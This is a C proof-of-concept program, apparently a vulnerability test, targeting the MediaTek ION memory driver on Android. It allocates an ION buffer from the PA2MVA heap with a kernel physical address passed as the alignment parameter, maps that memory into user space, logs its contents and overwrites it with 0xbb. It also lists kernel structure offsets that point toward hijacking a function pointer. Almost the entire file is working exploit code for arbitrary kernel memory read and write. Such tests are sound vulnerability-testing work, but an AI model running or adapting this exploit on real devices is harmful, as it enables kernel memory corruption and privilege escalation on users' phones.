| |
| #include <stdbool.h> |
| #include <stddef.h> |
| #include <stdint.h> |
| #include <stdio.h> |
| #include <sys/uio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <err.h> |
| #include <fcntl.h> |
| #include <sys/mman.h> |
| #include <sys/types.h> |
| #include <signal.h> |
| #include <sys/prctl.h> |
| #include <unistd.h> |
| #include <pthread.h> |
| #include <log/log.h> |
| |
| #define FAIL_CHECK_ALOGE(condition, error_message) \ |
| if (!(condition)) { \ |
| ALOGE("Check failed: " #error_message " " #condition " Line: %d", \ |
| __LINE__); \ |
| exit(EXIT_FAILURE); \ |
| } |
| |
| typedef unsigned int u32; |
| typedef unsigned long u64; |
| |
| #define ION_IOC_MAGIC 'I' |
| |
| #define _IOC_NRBITS 8 |
| #define _IOC_TYPEBITS 8 |
| |
| /* |
| * Let any architecture override either of the following before |
| * including this file. |
| */ |
| |
| #ifndef _IOC_SIZEBITS |
| # define _IOC_SIZEBITS 14 |
| #endif |
| |
| #ifndef _IOC_DIRBITS |
| # define _IOC_DIRBITS 2 |
| #endif |
| |
| #define _IOC_NRMASK ((1 << _IOC_NRBITS)-1) |
| #define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1) |
| #define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1) |
| #define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1) |
| |
| #define _IOC_NRSHIFT 0 |
| #define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS) |
| #define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS) |
| #define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS) |
| |
| #ifndef _IOC_NONE |
| # define _IOC_NONE 0U |
| #endif |
| |
| #ifndef _IOC_WRITE |
| # define _IOC_WRITE 1U |
| #endif |
| |
| #ifndef _IOC_READ |
| # define _IOC_READ 2U |
| #endif |
| |
| #define _IOC(dir,type,nr,size) \ |
| (((dir) << _IOC_DIRSHIFT) | \ |
| ((type) << _IOC_TYPESHIFT) | \ |
| ((nr) << _IOC_NRSHIFT) | \ |
| ((size) << _IOC_SIZESHIFT)) |
| |
| #ifndef __KERNEL__ |
| #define _IOC_TYPECHECK(t) (sizeof(t)) |
| #endif |
| |
| /* used to create numbers */ |
| #define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0) |
| #define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size))) |
| #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) |
| #define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size))) |
| |
| |
| /* Structure definitions */ |
| |
| enum ION_CMDS { |
| ION_CMD_SYSTEM, |
| ION_CMD_MULTIMEDIA, |
| ION_CMD_MULTIMEDIA_SEC |
| }; |
| |
| struct ion_custom_data { |
| unsigned int cmd; |
| unsigned long arg; |
| }; |
| |
| struct ion_fd_data { |
| int handle; |
| int fd; |
| }; |
| |
| struct ion_allocation_data { |
| size_t len; |
| size_t align; |
| unsigned int heap_id_mask; |
| unsigned int flags; |
| int handle; |
| }; |
| |
| struct ion_handle_data { |
| int handle; |
| }; |
| |
| struct ion_heap_query { |
| __u32 cnt; /* Total number of heaps to be copied */ |
| __u32 reserved0; /* align to 64bits */ |
| __u64 heaps; /* buffer to be populated */ |
| __u32 reserved1; |
| __u32 reserved2; |
| }; |
| |
| enum ION_CACHE_SYNC_TYPE { |
| ION_CACHE_CLEAN_BY_RANGE, |
| ION_CACHE_INVALID_BY_RANGE, |
| ION_CACHE_FLUSH_BY_RANGE, |
| ION_CACHE_CLEAN_BY_RANGE_USE_VA, |
| ION_CACHE_INVALID_BY_RANGE_USE_VA, |
| ION_CACHE_FLUSH_BY_RANGE_USE_VA, |
| ION_CACHE_CLEAN_ALL, |
| ION_CACHE_INVALID_ALL, |
| ION_CACHE_FLUSH_ALL |
| }; |
| |
| enum ION_SYS_CMDS { |
| ION_SYS_CACHE_SYNC, |
| ION_SYS_GET_PHYS, |
| ION_SYS_GET_CLIENT, |
| ION_SYS_SET_HANDLE_BACKTRACE, |
| ION_SYS_SET_CLIENT_NAME, |
| ION_SYS_DMA_OP, |
| }; |
| |
| struct ion_sys_cache_sync_param { |
| union { |
| int handle; |
| void *kernel_handle; |
| }; |
| void *va; |
| unsigned int size; |
| enum ION_CACHE_SYNC_TYPE sync_type; |
| }; |
| |
| struct ion_sys_get_phys_param { |
| union { |
| int handle; |
| void *kernel_handle; |
| }; |
| unsigned int phy_addr; |
| unsigned long len; |
| }; |
| |
| struct ion_sys_get_client_param { |
| unsigned int client; |
| }; |
| |
| #define ION_MM_DBG_NAME_LEN 48 |
| #define ION_MM_SF_BUF_INFO_LEN 16 |
| |
| struct ion_sys_client_name { |
| char name[ION_MM_DBG_NAME_LEN]; |
| }; |
| |
| #define BACKTRACE_SIZE 10 |
| |
| struct ion_sys_record_param { |
| pid_t group_id; |
| pid_t pid; |
| unsigned int action; |
| unsigned int address_type; |
| unsigned int address; |
| unsigned int length; |
| unsigned int backtrace[BACKTRACE_SIZE]; |
| unsigned int backtrace_num; |
| void *handle; |
| void *client; |
| void *buffer; |
| void *file; |
| int fd; |
| }; |
| |
| enum ION_DMA_TYPE { |
| ION_DMA_MAP_AREA, |
| ION_DMA_UNMAP_AREA, |
| ION_DMA_MAP_AREA_VA, |
| ION_DMA_UNMAP_AREA_VA, |
| ION_DMA_FLUSH_BY_RANGE, |
| ION_DMA_FLUSH_BY_RANGE_USE_VA, |
| ION_DMA_CACHE_FLUSH_ALL |
| }; |
| |
| enum ION_DMA_DIR { |
| ION_DMA_FROM_DEVICE, |
| ION_DMA_TO_DEVICE, |
| ION_DMA_BIDIRECTIONAL, |
| }; |
| |
| struct ion_dma_param { |
| union { |
| int handle; |
| void *kernel_handle; |
| }; |
| void *va; |
| unsigned int size; |
| enum ION_DMA_TYPE dma_type; |
| enum ION_DMA_DIR dma_dir; |
| }; |
| |
| #define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) |
| #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ |
| struct ion_allocation_data) |
| |
| #define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) |
| #define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) |
| #define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) |
| |
| struct ion_sys_data { |
| enum ION_SYS_CMDS sys_cmd; |
| union { |
| struct ion_sys_cache_sync_param cache_sync_param; |
| struct ion_sys_get_phys_param get_phys_param; |
| struct ion_sys_get_client_param get_client_param; |
| struct ion_sys_client_name client_name_param; |
| struct ion_sys_record_param record_param; |
| struct ion_dma_param dma_param; |
| }; |
| }; |
| |
| union ion_ioctl_arg { |
| struct ion_fd_data fd; |
| struct ion_allocation_data allocation; |
| struct ion_handle_data handle; |
| struct ion_custom_data custom; |
| struct ion_heap_query query; |
| }; |
| |
| enum mtk_ion_heap_type { |
| ION_HEAP_TYPE_MULTIMEDIA = 10, |
| ION_HEAP_TYPE_FB = 11, |
| ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12, |
| ION_HEAP_TYPE_MULTIMEDIA_SEC = 13, |
| ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14, |
| ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15, |
| ION_HEAP_TYPE_MULTIMEDIA_PROT = 16, |
| ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17, |
| ION_HEAP_TYPE_MULTIMEDIA_WFD = 18, |
| /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ |
| }; |
| |
| |
| /* |
| * mappings of this buffer should be cached, ion will do cache maintenance |
| * when the buffer is mapped for dma |
| */ |
| #define ION_FLAG_CACHED 1 |
| |
| /* |
| * mappings of this buffer will created at mmap time, if this is set |
| * caches must be managed manually |
| */ |
| #define ION_FLAG_CACHED_NEEDS_SYNC 2 |
| |
| |
| /* |
| struct ion_client { |
| struct rb_node node; |
| struct ion_device *dev; |
| struct rb_root handles; |
| struct idr idr; |
| struct mutex lock; |
| const char *name; |
| char *display_name; |
| int display_serial; |
| struct task_struct *task; |
| pid_t pid; |
| struct dentry *debug_root; |
| char dbg_name[ION_MM_DBG_NAME_LEN]; |
| }; |
| */ |
| // "dev" offset inside ion_client |
| #define ion_device_OFF 12 |
| |
| /* |
| |
| struct ion_device { |
| struct miscdevice dev; |
| struct rb_root buffers; |
| struct mutex buffer_lock; |
| struct rw_semaphore lock; |
| struct plist_head heaps; |
| long (*custom_ioctl)(struct ion_client *client, unsigned int cmd, |
| unsigned long arg); |
| struct rb_root clients; |
| struct dentry *debug_root; |
| struct dentry *heaps_debug_root; |
| struct dentry *clients_debug_root; |
| }; |
| |
| */ |
| |
| //"custom_ioctl" offset inside |
| #define custom_ioctl_OFF 100 |
| |
| int g_fd = -1; |
| |
| #define MMAP_SIZE 4096 |
| //#define PAGE_SIZE 4096 |
| |
| int alloc_handle(int type, unsigned long kernel_obj_addr) { |
| |
| union ion_ioctl_arg iia; |
| memset(&iia, 0, sizeof(iia)); |
| |
| iia.allocation.len = MMAP_SIZE; |
| iia.allocation.align = kernel_obj_addr; |
| iia.allocation.heap_id_mask = 1 << type; |
| iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC; |
| |
| FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC); |
| ALOGE("ION_IOC_ALLOC success"); |
| return iia.allocation.handle; |
| } |
| |
| int poc_write_kernel() { |
| |
| g_fd = open("/dev/ion", 0x80000); |
| FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion); |
| ALOGE("[+] open /dev/ion"); |
| |
| int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000); |
| |
| FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed); |
| |
| union ion_ioctl_arg iia; |
| memset(&iia, 0, sizeof(iia)); |
| |
| iia.fd.handle = handle; |
| |
| FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE); |
| ALOGE("ION_IOC_SHARE handle success"); |
| |
| int dma_fd = iia.fd.fd; |
| |
| char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0); |
| FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap); |
| |
| ALOGE("re_buf addr:%p", re_buf); |
| ALOGE("re_buf[0]:%x", re_buf[0]); |
| |
| int read_num = 0; |
| int counter = 0; |
| unsigned long *read_buf = (unsigned long *)re_buf; |
| for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) { |
| if (read_buf[read_num]) { |
| //reduce number of log messages |
| if(counter++ % 8 == 0){ |
| ALOGE("read_buf[%d]:0x%lx", read_num, read_buf[read_num]); |
| } |
| } |
| } |
| ALOGE("read_num = %d", read_num); |
| ALOGE("non zero = %d", counter); |
| |
| memset(re_buf, 0xbb, MMAP_SIZE); |
| munmap(re_buf, MMAP_SIZE); |
| close(dma_fd); |
| close(g_fd); |
| |
| return 0; |
| } |
| |
| int main() { |
| poc_write_kernel(); |
| ALOGE("test end"); |
| return 0; |
| } |